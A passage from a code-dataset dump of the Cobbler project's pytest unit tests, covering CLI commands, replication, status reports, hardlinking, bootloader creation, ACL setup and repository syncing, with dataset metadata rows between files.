# TODO: verify group acl exists on directories def test_cobbler_acl_removeuser(self, run_cmd): """Runs 'cobbler aclsetup --removeuser'""" (outputstd, outputerr) = run_cmd(cmd=["aclsetup", "--removeuser=cobbler"]) # TODO: verify user acl no longer exists on directories def test_cobbler_acl_removegroup(self, run_cmd): """Runs 'cobbler aclsetup --removegroup'""" (outputstd, outputerr) = run_cmd(cmd=["aclsetup", "--removegroup=cobbler"]) # TODO: verify group acl no longer exists on directories def test_cobbler_reposync(self, run_cmd): """Runs 'cobbler reposync'""" (outputstd, outputerr) = run_cmd(cmd=["reposync"]) (outputstd, outputerr) = run_cmd(cmd=["reposync", "--tries=3"]) (outputstd, outputerr) = run_cmd(cmd=["reposync", "--no-fail"]) @pytest.mark.skip("Currently the setup of this test is too complicated") def test_cobbler_buildiso(self, run_cmd, get_last_line): """Runs 'cobbler buildiso'""" (outputstd, outputerr) = run_cmd(cmd=["buildiso"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) assert os.path.isfile("/root/generated.iso") def test_11_cobbler_list(self, run_cmd, assert_list_section): (outputstd, outputerr) = run_cmd(cmd=["list"]) lines = outputstd.split("\n") i = 0 i = assert_list_section(lines, i, "distros") i = assert_list_section(lines, i, "profiles") i = assert_list_section(lines, i, "systems") i = assert_list_section(lines, i, "repos") i = assert_list_section(lines, i, "images") i = assert_list_section(lines, i, "menus") def test_cobbler_report(self, run_cmd, assert_report_section): (outputstd, outputerr) = run_cmd(cmd=["report"]) lines = outputstd.split("\n") i = 0 i = assert_report_section(lines, i, "distros") i = assert_report_section(lines, i, "profiles") i = assert_report_section(lines, i, "systems") i = assert_report_section(lines, i, "repos") i = assert_report_section(lines, i, "images") i = assert_report_section(lines, i, "menus") def test_cobbler_hardlink(self, run_cmd, get_last_line): (outputstd, outputerr) = run_cmd(cmd=["hardlink"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) @pytest.mark.skip("Currently the setup of this test is too complicated") def test_cobbler_replicate(self, run_cmd, get_last_line): (outputstd, outputerr) = run_cmd(cmd=["replicate"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines) def test_cobbler_validate_autoinstalls(self, run_cmd, get_last_line): (outputstd, outputerr) = run_cmd(cmd=["validate-autoinstalls"]) lines = outputstd.split("\n") assert "*** TASK COMPLETE ***" == get_last_line(lines)
7,397
Python
.py
154
39.980519
83
0.601193
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,058
cli_unit_test.py
cobbler_cobbler/tests/cli/cli_unit_test.py
import optparse import pytest from cobbler import cli @pytest.mark.parametrize("input_data,expected_result", [("", ""), (0, 0), (None, "")]) def test_n2s(input_data, expected_result): # Arrange # Act result = cli.n2s(input_data) # Assert assert result == expected_result @pytest.mark.skip("TODO: Does not work yet.") @pytest.mark.parametrize( "input_options,input_k,expected_result", [ (None, None, None), ("--dns", "name", ""), ("--dhcp", "name", ""), ("--system", "name", ""), ], ) def test_opt(input_options, input_k, expected_result, mocker): # Arrange # TODO: Create Mock which replaces n2s # mocker.patch.object(cli, "n2s") # Act print(cli.opt(input_options, input_k)) # Assert # TODO: Assert args for n2s not the function return assert False @pytest.mark.parametrize( "input_parser,expected_result", [ (["--systems=a.b.c"], {"systems": ["a.b.c"]}), (["--systems=a.b.c,a.d.c"], {"systems": ["a.b.c", "a.d.c"]}), (["--systems=t1.example.de"], {"systems": ["t1.example.de"]}), ], ) def test_get_comma_separated_args(input_parser, expected_result): # Arrange parser_obj = optparse.OptionParser() parser_obj.add_option( "--systems", dest="systems", type="string", action="callback", callback=cli.get_comma_separated_args, ) # Act (options, args) = parser_obj.parse_args(args=input_parser) # Assert assert expected_result == parser_obj.values.__dict__
1,570
Python
.py
51
25.529412
86
0.605578
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,059
replicate_test.py
cobbler_cobbler/tests/actions/replicate_test.py
""" Tests for the replicate action of Cobbler. """ from typing import Callable import pytest from pytest_mock import MockerFixture from cobbler.actions import replicate from cobbler.api import CobblerAPI from cobbler.items.distro import Distro @pytest.fixture(scope="function") def replicate_obj(cobbler_api: CobblerAPI) -> replicate.Replicate: """ Creates a blank replicate object for a single test. """ return replicate.Replicate(cobbler_api) def test_rsync_it(mocker: MockerFixture, replicate_obj: replicate.Replicate): """ Test that asserts that the rsync_it subroutine works as expected. """ # Arrange mock_subprocess_call = mocker.patch("cobbler.utils.subprocess_call", return_value=0) replicate_obj.master = "cobbler-master" # Act replicate_obj.rsync_it("/path1", "/path2", "item") # Assert mock_subprocess_call.assert_called_with( ["rsync", "-avzH", "cobbler-master::/path1", "/path2"], shell=False ) def test_remove_objects_not_on_master( mocker: MockerFixture, replicate_obj: replicate.Replicate ): """ Test that asserts that the remove_objects_not_on_master subroutine works as expected. """ # Arrange replicate_obj.local_data["distro"] = [] replicate_obj.remote_data["distro"] = [] mocker.patch( "cobbler.utils.lod_to_dod", side_effect=[{"fake_uid": {"uid": "fake_uid", "name": "test"}}, {}], ) api_mock = mocker.patch.object(replicate_obj, "api") # Act replicate_obj.remove_objects_not_on_master("distro") # Assert api_mock.remove_item.assert_called_with("distro", "test", recursive=True) # type: ignore def test_add_objects_not_on_local( mocker: MockerFixture, replicate_obj: replicate.Replicate ): """ Test that asserts that the add_objects_not_on_local subroutine works as expected. """ # Arrange replicate_obj.local_data["distro"] = [] replicate_obj.remote_data["distro"] = [] replicate_obj.must_include["distro"] = ["test"] # type: ignore mocker.patch("cobbler.utils.lod_to_dod", return_value={}) mocker.patch( "cobbler.utils.lod_sort_by_key", return_value=[{"uid": "fake_uid", "name": "test"}], ) api_mock = mocker.patch.object(replicate_obj, "api") # Act replicate_obj.add_objects_not_on_local("distro") # Assert api_mock.new_distro.assert_called_once() # type: ignore def test_replace_objects_newer_on_remote( mocker: MockerFixture, replicate_obj: replicate.Replicate ): """ Test that asserts that the replace_objects_newer_on_remote subroutine works as expected. """ # Arrange replicate_obj.local_data["distro"] = [] replicate_obj.remote_data["distro"] = [] replicate_obj.must_include["distro"] = ["test"] # type: ignore mocker.patch( "cobbler.utils.lod_to_dod", side_effect=[ {"fake_uid": {"uid": "fake_uid", "name": "test", "mtime": 4}}, {"fake_uid": {"uid": "fake_uid", "name": "test", "mtime": 5}}, ], ) api_mock = mocker.patch.object(replicate_obj, "api") # Act replicate_obj.replace_objects_newer_on_remote("distro") # Assert api_mock.new_distro.assert_called_once() # type: ignore api_mock.add_item.assert_called_once() # type: ignore def test_replicate_data(mocker: MockerFixture, replicate_obj: replicate.Replicate): """ Test that asserts that the replicate_data subroutine works as expected. """ # Arrange remote_mock = mocker.MagicMock() remote_mock.get_settings.return_value = {"webdir": "/srv/www/cobbler"} # type: ignore remote_mock.get_items.return_value = {} # type: ignore replicate_obj.remote = remote_mock local_mock = mocker.MagicMock(return_value={"webdir": "/srv/www/cobbler"}) local_mock.get_items.return_value = {} # type: ignore replicate_obj.local = local_mock rsync_mock = mocker.patch.object(replicate_obj, "rsync_it") expected_rsync_it_calls = [ mocker.call("cobbler-distros/config/", "/srv/www/cobbler/distro_mirror/config"), mocker.call("cobbler-templates", "/var/lib/cobbler/templates"), mocker.call("cobbler-snippets", "/var/lib/cobbler/snippets"), mocker.call("cobbler-triggers", "/var/lib/cobbler/triggers"), mocker.call("cobbler-scripts", "/var/lib/cobbler/scripts"), ] not_on_local_mock = mocker.patch.object(replicate_obj, "add_objects_not_on_local") newer_on_remote_mock = mocker.patch.object( replicate_obj, "replace_objects_newer_on_remote" ) print(remote_mock.get_settings()) # type: ignore print(remote_mock.get_items()) # type: ignore print(local_mock.get_items()) # type: ignore # Act replicate_obj.replicate_data() # Assert assert rsync_mock.mock_calls == expected_rsync_it_calls assert not_on_local_mock.call_count == len(replicate.OBJ_TYPES) assert newer_on_remote_mock.call_count == len(replicate.OBJ_TYPES) def test_link_distros( mocker: MockerFixture, replicate_obj: replicate.Replicate, create_distro: Callable[[], Distro], ): """ Test that asserts that the link_distros subroutine works as expected. """ # Arrange test_distro = create_distro() mock_link_distro = mocker.patch.object(test_distro, "link_distro") # Act replicate_obj.link_distros() # Assert mock_link_distro.assert_called_once() def test_generate_include_map( mocker: MockerFixture, replicate_obj: replicate.Replicate ): """ Test that asserts that the generate_include_map subroutine works as expected. """ # Arrange mocker.patch("cobbler.utils.lod_to_dod", return_value={"a": {}}) replicate_obj.sync_all = True replicate_obj.remote_data = { "distro": [{"a": 1}], "profile": [{"a": 1}], "system": [{"a": 1}], "repo": [{"a": 1}], "image": [{"a": 1}], } expected_must_include = { "distro": {"a": 1}, "profile": {"a": 1}, "system": {"a": 1}, "repo": {"a": 1}, "image": {"a": 1}, } # Act replicate_obj.generate_include_map() # Assert assert replicate_obj.must_include == expected_must_include def test_run( mocker: MockerFixture, cobbler_api: CobblerAPI, replicate_obj: replicate.Replicate ): """ Test that asserts that the replicate algorithm works as intended as a whole. """ # Arrange mocker.patch("xmlrpc.client.Server") api_sync_mock = mocker.patch.object(cobbler_api, "sync") replicate_data_mock = mocker.patch.object(replicate_obj, "replicate_data") link_distros_mock = mocker.patch.object(replicate_obj, "link_distros") # Act replicate_obj.run("fake.test") # Assert api_sync_mock.assert_called_once() replicate_data_mock.assert_called_once() link_distros_mock.assert_called_once()
6,909
Python
.py
181
32.900552
93
0.665371
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,060
sync_test.py
cobbler_cobbler/tests/actions/sync_test.py
""" Tests that validate the functionality of the module that is responsible for synchronizing the different daemons with each other. """ import pytest from cobbler.actions import sync from cobbler.api import CobblerAPI @pytest.mark.skip("TODO") def test_run_sync_systems(cobbler_api: CobblerAPI): # Arrange # mock os.path.exists() # mock file access (run_triggers) # mock collections (distro, profile, etc.) # mock tftpd module # mock dns module # mock dhcp module test_sync = sync.CobblerSync(cobbler_api) # Act test_sync.run_sync_systems(["t1.systems.de"]) # Assert # correct order with correct parameters assert False @pytest.mark.skip("TODO") def test_clean_link_cache(): # Arrange # Act # Assert assert False @pytest.mark.skip("TODO") def test_rsync_gen(): # Arrange # Act # Assert assert False
893
Python
.py
34
22.529412
111
0.710588
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,061
status_test.py
cobbler_cobbler/tests/actions/status_test.py
""" Test module to test the functionallity of generating the installation log summary. """ import pytest from pytest_mock import MockerFixture from cobbler.actions import status from cobbler.actions.status import InstallStatus from cobbler.api import CobblerAPI def test_collect_logfiles(mocker: MockerFixture): """ Test that validates the collect_logfiles subroutine. """ # Arrange mocker.patch( "glob.glob", return_value=[ "/var/log/cobbler/install.log", "/var/log/cobbler/install.log1", "/var/log/cobbler/install.log.1", ], ) expected_result = [ "/var/log/cobbler/install.log.1", "/var/log/cobbler/install.log", ] # Act result = status.CobblerStatusReport.collect_logfiles() # Assert assert result == expected_result def test_scan_logfiles(mocker: MockerFixture, cobbler_api: CobblerAPI): """ Test that validates the scan_logfiles subroutine. """ # Arrange mocker.patch("gzip.open", mocker.mock_open(read_data="test test test test 0.0")) mocker.patch("builtins.open", mocker.mock_open(read_data="test test test test 0.0")) test_status = status.CobblerStatusReport(cobbler_api, "text") mocker.patch.object( test_status, "collect_logfiles", return_value=["/test/test", "/test/test.gz"] ) mock_catalog = mocker.patch.object(test_status, "catalog") # Act test_status.scan_logfiles() # Assert assert mock_catalog.call_count == 2 def test_catalog(cobbler_api: CobblerAPI): """ Test that validates the catalog subroutine. """ # Arrange test_status = status.CobblerStatusReport(cobbler_api, "text") expected_result = InstallStatus() expected_result.most_recent_start = 0 expected_result.most_recent_stop = -1 expected_result.most_recent_target = "system:test" expected_result.seen_start = 0 expected_result.seen_stop = -1 expected_result.state = "?" # Act test_status.catalog("system", "test", "192.168.0.1", "start", 0.0) # Assert assert "192.168.0.1" in test_status.ip_data assert test_status.ip_data["192.168.0.1"] == expected_result @pytest.mark.parametrize( "input_start,input_stop,expected_status", [ (0, 5, "finished"), (50, 0, "unknown/stalled"), (99900, 0, "installing (1m 40s)"), ], ) def test_process_results( mocker: MockerFixture, cobbler_api: CobblerAPI, input_start: int, input_stop: int, expected_status: str, ): """ Test that validates the process_results subroutine. """ # Arrange mocker.patch("time.time", return_value=100000) test_status = status.CobblerStatusReport(cobbler_api, "text") new_status = InstallStatus() new_status.most_recent_start = input_start new_status.most_recent_stop = input_stop new_status.most_recent_target = "" new_status.seen_start = -1 new_status.seen_stop = -1 new_status.state = "?" test_status.ip_data["192.168.0.1"] = new_status # Act test_status.process_results() # Assert assert test_status.ip_data["192.168.0.1"].state == expected_status def test_get_printable_results(cobbler_api: CobblerAPI): """ Test that validates the get_printable_results subroutine. """ # Arrange test_status = status.CobblerStatusReport(cobbler_api, "text") # Act result = test_status.get_printable_results() # Assert result_list = result.split("\n") assert len(result_list) == 1 @pytest.mark.parametrize( "input_mode,expected_result", [("text", str), ("non-text", dict)] # type: ignore ) def test_run( mocker: MockerFixture, cobbler_api: CobblerAPI, input_mode: str, expected_result: type, ): """ Test that validates the class that generates the report as a whole. """ # Arrange test_status = status.CobblerStatusReport(cobbler_api, input_mode) mocker.patch.object(test_status, "scan_logfiles") if input_mode == "text": mocker.patch.object(test_status, "process_results", return_value="") else: mocker.patch.object(test_status, "process_results", return_value={}) # Act result = test_status.run() # Assert assert isinstance(result, expected_result)
4,309
Python
.py
130
28.038462
88
0.674452
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,062
hardlink_test.py
cobbler_cobbler/tests/actions/hardlink_test.py
""" Module to test the "cobbler hardlink" functionallity. """ from typing import List import pytest from pytest_mock import MockerFixture from cobbler.actions import hardlink from cobbler.api import CobblerAPI def test_object_creation(cobbler_api: CobblerAPI): """ Assert that the object can be created without failure. """ # Arrange & Act result = hardlink.HardLinker(cobbler_api) # Assert assert isinstance(result, hardlink.HardLinker) assert result.hardlink != "" assert result.family != "" assert result.webdir != "" def test_constructor_value_error(): """ Assert that with missing arguments the creation of the object would fail with a TypeError. """ # pylint: disable=no-value-for-parameter # Act & Assert with pytest.raises(TypeError): hardlink.HardLinker() # type: ignore def test_no_hardlink_available(mocker: MockerFixture, cobbler_api: CobblerAPI): """ Assert that an Exception is thrown in case the "hardlink" command is not available. """ # Arrange mocker.patch("os.path.exists", return_value=False) utils_die_mock = mocker.patch("cobbler.utils.die") # Act hardlink.HardLinker(api=cobbler_api) # Assert utils_die_mock.assert_called_once() @pytest.mark.parametrize( "mock_family,expected_hardlink_cmd", [ ( "debian", [ "/usr/bin/hardlink", "-f", "-p", "-o", "-t", "-v", "/srv/www/cobbler/distro_mirror", "/srv/www/cobbler/repo_mirror", ], ), ( "suse", [ "/usr/bin/hardlink", "-f", "-v", "/srv/www/cobbler/distro_mirror", "/srv/www/cobbler/repo_mirror", ], ), ( "other distros", [ "/usr/bin/hardlink", "-c", "-v", "/srv/www/cobbler/distro_mirror", "/srv/www/cobbler/repo_mirror", ], ), ], ) def test_run( mocker: MockerFixture, cobbler_api: CobblerAPI, mock_family: str, expected_hardlink_cmd: List[str], ): """ Assert that the main logic of the module is working as expected. """ # Arrange mocker.patch("cobbler.utils.get_family", return_value=mock_family) mock_subprocess_call = mocker.patch("cobbler.utils.subprocess_call", return_value=0) hardlink_obj = hardlink.HardLinker(cobbler_api) hardlink_obj.webdir = "/srv/www/cobbler" expected_calls = [ mocker.call(expected_hardlink_cmd, shell=False), mocker.call( [ "/usr/bin/hardlink", "-c", "-v", "/srv/www/cobbler/distro_mirror", "/srv/www/cobbler/repo_mirror", ], shell=False, ), ] # Act hardlink_obj.run() # Assert assert mock_subprocess_call.mock_calls == expected_calls
3,134
Python
.py
107
20.850467
94
0.56194
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,063
mkloaders_test.py
cobbler_cobbler/tests/actions/mkloaders_test.py
""" Tests that validate the functionality of the module that is responsible for creating the networked bootloaders. """ import pathlib import re import subprocess from typing import TYPE_CHECKING import pytest from cobbler.actions import mkloaders from cobbler.api import CobblerAPI if TYPE_CHECKING: from pytest_mock import MockerFixture def test_grubimage_object(cobbler_api: CobblerAPI): # Arrange & Act test_image_creator = mkloaders.MkLoaders(cobbler_api) # Assert assert isinstance(test_image_creator, mkloaders.MkLoaders) assert str(test_image_creator.syslinux_folder) == "/usr/share/syslinux" def test_grubimage_run(cobbler_api: CobblerAPI, mocker: "MockerFixture"): # Arrange test_image_creator = mkloaders.MkLoaders(cobbler_api) mocker.patch("cobbler.actions.mkloaders.symlink", spec=mkloaders.symlink) mocker.patch("cobbler.actions.mkloaders.mkimage", spec=mkloaders.mkimage) # Act test_image_creator.run() # Assert # pylint: disable=no-member # On a full install: 3 common formats, 4 syslinux links and 9 bootloader formats # In our test container we have: shim (1x), ipxe (1x), syslinux v4 (3x) and 3 grubs (4x) # On GH we have: shim (1x), ipxe (1x), syslinux v4 (3x) and 3 grubs (3x) assert mkloaders.symlink.call_count == 8 # type: ignore[reportFunctionMemberAccess] # In our test container we have: x86_64, arm64-efi, i386-efi & i386-pc-pxe # On GH we have: x86_64, i386-efi & i386-pc-pxe assert mkloaders.mkimage.call_count == 3 # type: ignore[reportFunctionMemberAccess] def test_mkimage(mocker: "MockerFixture"): # Arrange mkimage_args = { "image_format": "grubx64.efi", "image_filename": pathlib.Path("/var/cobbler/loaders/grub/grubx64.efi"), "modules": ["btrfs", "ext2", "luks", "serial"], } mocker.patch("cobbler.actions.mkloaders.subprocess.run", spec=subprocess.run) # Act mkloaders.mkimage(**mkimage_args) # type: ignore[reportArgumentType] # Assert # pylint: disable=no-member mkloaders.subprocess.run.assert_called_once_with( # type: ignore[reportFunctionMemberAccess] [ "grub2-mkimage", "--format", mkimage_args["image_format"], "--output", str(mkimage_args["image_filename"]), "--prefix=", *mkimage_args["modules"], # type: ignore[reportGeneralTypeIssues] ], check=True, ) def test_symlink(tmp_path: pathlib.Path): # Arrange target = tmp_path / "target" target.touch() link = tmp_path / "link" # Run mkloaders.symlink(target, link) # Assert assert link.exists() assert link.is_symlink() assert link.resolve() == target def test_find_file(tmp_path: pathlib.Path): # Arrange target = tmp_path / "target" target.mkdir() target_file = target / "file.txt" target_file.touch() file_regex = re.compile(r"file\.txt") invalid_file_regex = re.compile(r"file1\.txt") # Act valid_file = mkloaders.find_file(target, file_regex) invalid_file = mkloaders.find_file(target, invalid_file_regex) # Assert assert valid_file != None assert invalid_file == None def test_symlink_link_exists(tmp_path: pathlib.Path): # Arrange target = tmp_path / "target" target.touch() link = tmp_path / "link" link.touch() # Act with pytest.raises(FileExistsError): mkloaders.symlink(link, target, skip_existing=False) # Assert: must not raise an exception mkloaders.symlink(link, target, skip_existing=True) def test_symlink_target_missing(tmp_path: pathlib.Path): # Arrange target = tmp_path / "target" link = tmp_path / "link" # Act & Assert with pytest.raises(FileNotFoundError): mkloaders.symlink(target, link) def test_get_syslinux_version(mocker: "MockerFixture"): # Arrange mocker.patch( "cobbler.actions.mkloaders.subprocess.run", autospec=True, return_value=subprocess.CompletedProcess( "", 0, stdout="syslinux 4.04 Copyright 1994-2011 H. Peter Anvin et al" ), ) # Act result = mkloaders.get_syslinux_version() # Assert assert result == 4
4,274
Python
.py
114
31.877193
111
0.682744
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,064
acl_test.py
cobbler_cobbler/tests/actions/acl_test.py
""" Tests that validate the functionality of the module that is responsible for (de)serializing items to MongoDB. """ from typing import TYPE_CHECKING, Any, List, Optional import pytest from cobbler.actions import acl from cobbler.api import CobblerAPI from cobbler.cexceptions import CX from tests.conftest import does_not_raise if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture(name="acl_object", scope="function") def fixture_acl_object(cobbler_api: CobblerAPI) -> acl.AclConfig: """ Fixture to provide a fresh AclConfig object for every test. """ return acl.AclConfig(cobbler_api) def test_object_creation(cobbler_api: CobblerAPI): # Arrange & Act result = acl.AclConfig(cobbler_api) # Assert assert isinstance(result, acl.AclConfig) @pytest.mark.parametrize( "input_adduser,input_addgroup,input_removeuser,input_removegroup,expected_isadd,expected_isuser, expected_who," "expected_exception", [ ("test", None, None, None, True, True, "test", does_not_raise()), (None, "test", None, None, True, False, "test", does_not_raise()), (None, None, "test", None, False, True, "test", does_not_raise()), (None, None, None, "test", False, False, "test", does_not_raise()), (None, None, None, None, True, True, "", pytest.raises(CX)), ], ) def test_run( mocker: "MockerFixture", acl_object: acl.AclConfig, input_adduser: Optional[str], input_addgroup: Optional[str], input_removeuser: Optional[str], input_removegroup: Optional[str], expected_isadd: bool, expected_isuser: bool, expected_who: str, expected_exception: Any, ): # Arrange mock_modacl = mocker.patch.object(acl_object, "modacl") # Act with expected_exception: acl_object.run( input_adduser, input_addgroup, input_removeuser, input_removegroup ) # Assert mock_modacl.assert_called_with(expected_isadd, expected_isuser, expected_who) @pytest.mark.parametrize( "input_isadd,input_isuser,input_user,input_subprocess_call_effect,expected_mock_die_count,expected_first_setfacl", [ ( True, True, "test", [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 0, ["setfacl", "-d", "-R", "-m", "u:test:rwx", "/var/log/cobbler"], ), ( True, False, "test", [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 0, ["setfacl", "-d", "-R", "-m", "g:test:rwx", "/var/log/cobbler"], ), ( False, True, "test", [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 0, ["setfacl", "-d", "-R", "-x", "u:test", "/var/log/cobbler"], ), ( False, False, "test", [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0], 0, ["setfacl", "-d", "-R", "-x", "g:test", "/var/log/cobbler"], ), ], ) def test_modacl( mocker: "MockerFixture", acl_object: acl.AclConfig, input_isadd: bool, input_isuser: bool, input_user: str, input_subprocess_call_effect: List[int], expected_mock_die_count: int, expected_first_setfacl: List[str], ): # Arrange # Each subprocess.call is used two times per directory of which we have (seven in a default config) mock_subprocess_call = mocker.patch( "cobbler.utils.subprocess_call", side_effect=input_subprocess_call_effect ) mock_die = mocker.patch("cobbler.utils.die") # Act acl_object.modacl(input_isadd, input_isuser, input_user) # Assert print(mock_subprocess_call.mock_calls) mock_subprocess_call.assert_any_call(expected_first_setfacl, shell=False) assert mock_die.call_count == expected_mock_die_count
3,902
Python
.py
113
27.707965
118
0.605675
cobbler/cobbler
2,597
653
318
GPL-2.0
9/5/2024, 5:11:26 PM (Europe/Amsterdam)
12,065
reposync_test.py
cobbler_cobbler/tests/actions/reposync_test.py
""" Tests that validate the functionality of the module that is responsible for repository synchronization. """ import os from pathlib import Path from typing import TYPE_CHECKING, Any, Dict, List, Union import pytest from cobbler import cexceptions, enums from cobbler.actions import reposync from cobbler.api import CobblerAPI from cobbler.items.repo import Repo from tests.conftest import does_not_raise if TYPE_CHECKING: from pytest_mock import MockerFixture @pytest.fixture(name="reposync_object", scope="function") def fixture_reposync_object( mocker: "MockerFixture", cobbler_api: CobblerAPI ) -> reposync.RepoSync: settings_mock = mocker.MagicMock() settings_mock.webdir = "/srv/www/cobbler" settings_mock.server = "localhost" settings_mock.http_port = 80 settings_mock.proxy_url_ext = "" settings_mock.yumdownloader_flags = "--testflag" settings_mock.reposync_rsync_flags = "--testflag" settings_mock.reposync_flags = "--testflag" mocker.patch.object(cobbler_api, "settings", return_value=settings_mock) test_reposync = reposync.RepoSync(cobbler_api, tries=2, nofail=False) return test_reposync @pytest.fixture(name="repo") def fixture_repo(cobbler_api: CobblerAPI) -> Repo: """ Creates a Repository "testrepo0" with a keep_updated=True and mirror_locally=True". """ test_repo = Repo(cobbler_api) test_repo.name = "testrepo0" test_repo.mirror_locally = True test_repo.keep_updated = True return test_repo @pytest.fixture def remove_repo(cobbler_api: CobblerAPI): """ Removes the Repository "testrepo0" which can be created with repo. """ yield test_repo = cobbler_api.find_repo("testrepo0") if test_repo is not None and not isinstance(test_repo, list): cobbler_api.remove_repo(test_repo.name) @pytest.fixture(scope="function", autouse=True) def reset_librepo(): has_librepo = reposync.HAS_LIBREPO yield reposync.HAS_LIBREPO = has_librepo def test_repo_walker(mocker: "MockerFixture", tmp_path: Path): # Arrange def test_fun(arg: Any, top: Any, names: Any): pass subdir1 = tmp_path / "sub1" subdir2 = tmp_path / "sub2" subdir1.mkdir() subdir2.mkdir() spy = mocker.Mock(wraps=test_fun) # Act reposync.repo_walker(tmp_path, spy, None) # type: ignore # Assert assert spy.mock_calls == [ # settings.yaml is here because of our autouse fixture that we use to restore the settings mocker.call(None, tmp_path, ["settings.yaml", "sub1", "sub2"]), mocker.call(None, str(subdir1), []), mocker.call(None, str(subdir2), []), ] @pytest.mark.parametrize( "input_has_librepo,input_path_exists_side_effect,expected_exception,expected_result", [ (True, [True, False], does_not_raise(), ["/usr/bin/dnf", "reposync"]), (True, [False, True], does_not_raise(), ["/usr/bin/reposync"]), (True, [False, False], pytest.raises(cexceptions.CX), ""), (False, [False, True], pytest.raises(cexceptions.CX), ""), ], ) def test_reposync_cmd( mocker: "MockerFixture", reposync_object: reposync.RepoSync, input_has_librepo: bool, input_path_exists_side_effect: List[bool], expected_exception: Any, expected_result: Union[List[str], str], ): # Arrange mocker.patch("os.path.exists", side_effect=input_path_exists_side_effect) reposync.HAS_LIBREPO = input_has_librepo # Act with expected_exception: result = reposync_object.reposync_cmd() # Assert assert result == expected_result def test_run(mocker: "MockerFixture", reposync_object: reposync.RepoSync, repo: Repo): # Arrange env_vars: Dict[str, Any] = {} mocker.patch("os.makedirs") mocker.patch("os.path.isdir", return_value=True) mocker.patch( "os.path.join", side_effect=[ "/srv/www/cobbler/repo_mirror", "/srv/www/cobbler/repo_mirror/%s" % repo.name, ], ) mocker.patch("os.environ", return_value=env_vars) mocker.patch.object(reposync_object, "repos", return_value=[repo]) mocker.patch.object(reposync_object, "sync") mocker.patch.object(reposync_object, "update_permissions") reposync_object.repos = [repo] # type: ignore # Act reposync_object.run() # Assert # This has to be 0 since all env vars need to be removed after reposync has run. assert len(env_vars) == 0 def test_gen_urlgrab_ssl_opts(reposync_object: reposync.RepoSync): # Arrange input_dict: Dict[str, Any] = {} # Act result = reposync_object.gen_urlgrab_ssl_opts(input_dict) # Assert assert isinstance(result, tuple) assert len(result) == 2 # The data of the first element is kind of flexible let's skip asserting it for now assert isinstance(result[1], bool) @pytest.mark.usefixtures("remove_repo") @pytest.mark.parametrize( "input_mirror_type,input_mirror,expected_exception", [ ( enums.MirrorType.BASEURL, "http://download.fedoraproject.org/pub/fedora/linux/development/rawhide/Everything/x86_64/os", does_not_raise(), ), ( enums.MirrorType.MIRRORLIST, "https://mirrors.fedoraproject.org/mirrorlist?repo=rawhide&arch=x86_64", does_not_raise(), ), ( enums.MirrorType.METALINK, "https://mirrors.fedoraproject.org/metalink?repo=rawhide&arch=x86_64", does_not_raise(), ), ], ) def test_reposync_yum( mocker: "MockerFixture", input_mirror_type: enums.MirrorType, input_mirror: str, expected_exception: Any, cobbler_api: CobblerAPI, repo: Repo, reposync_object: reposync.RepoSync, ): # Arrange test_repo = repo test_repo.breed = enums.RepoBreeds.YUM test_repo.mirror = input_mirror test_repo.mirror_type = input_mirror_type test_repo.rpm_list = "fedora-gpg-keys" test_settings = cobbler_api.settings() repo_path = os.path.join(test_settings.webdir, "repo_mirror", test_repo.name) mocked_subprocess = mocker.patch( "cobbler.utils.subprocess_call", autospec=True, return_value=0 ) mocker.patch.object( reposync_object, "create_local_file", return_value="/create/local/file" ) mocker.patch.object( reposync_object, "reposync_cmd", return_value=["/my/fake/dnf", "reposync"] ) mocker.patch.object(reposync_object, "rflags", return_value="--fake-r-flakg") mocker.patch.object( reposync_object, "gen_urlgrab_ssl_opts", return_value=(("TODO", "TODO", "TODO"), False), ) mocker.patch("os.path.exists", return_value=True) mocker.patch("shutil.rmtree") mocker.patch("os.makedirs") mocked_repo_walker = mocker.patch("cobbler.actions.reposync.repo_walker") handle_mock = mocker.MagicMock() result_mock = mocker.MagicMock() mocker.patch("librepo.Handle", return_value=handle_mock) mocker.patch("librepo.Result", return_value=result_mock) # Act & Assert with expected_exception: reposync_object.yum_sync(repo) mocked_subprocess.assert_called_with( [ "/usr/bin/dnf", "download", "--testflag", "--disablerepo=*", f"--enablerepo={repo.name}", "-c=/create/local/file", f"--destdir={repo_path}", "fedora-gpg-keys", ], shell=False, ) handle_mock.perform.assert_called_with(result_mock) assert mocked_repo_walker.call_count == 1 @pytest.mark.usefixtures("remove_repo") @pytest.mark.parametrize( "input_mirror_type,input_mirror,input_arch,input_rpm_list,expected_exception", [ ( enums.MirrorType.BASEURL, "http://ftp.debian.org/debian", enums.RepoArchs.X86_64, "", does_not_raise(), ), ( enums.MirrorType.MIRRORLIST, "http://ftp.debian.org/debian", enums.RepoArchs.X86_64, "", pytest.raises(cexceptions.CX), ), ( enums.MirrorType.METALINK, "http://ftp.debian.org/debian", enums.RepoArchs.X86_64, "", pytest.raises(cexceptions.CX), ), ( enums.MirrorType.BASEURL, "http://ftp.debian.org/debian", enums.RepoArchs.NONE, "", pytest.raises(cexceptions.CX), ), ( enums.MirrorType.BASEURL, "http://ftp.debian.org/debian", enums.RepoArchs.X86_64, "dpkg", pytest.raises(cexceptions.CX), ), ], ) def test_reposync_apt( mocker: "MockerFixture", input_mirror_type: enums.MirrorType, input_mirror: str, input_arch: enums.RepoArchs, input_rpm_list: str, expected_exception: Any, cobbler_api: CobblerAPI, repo: Repo, 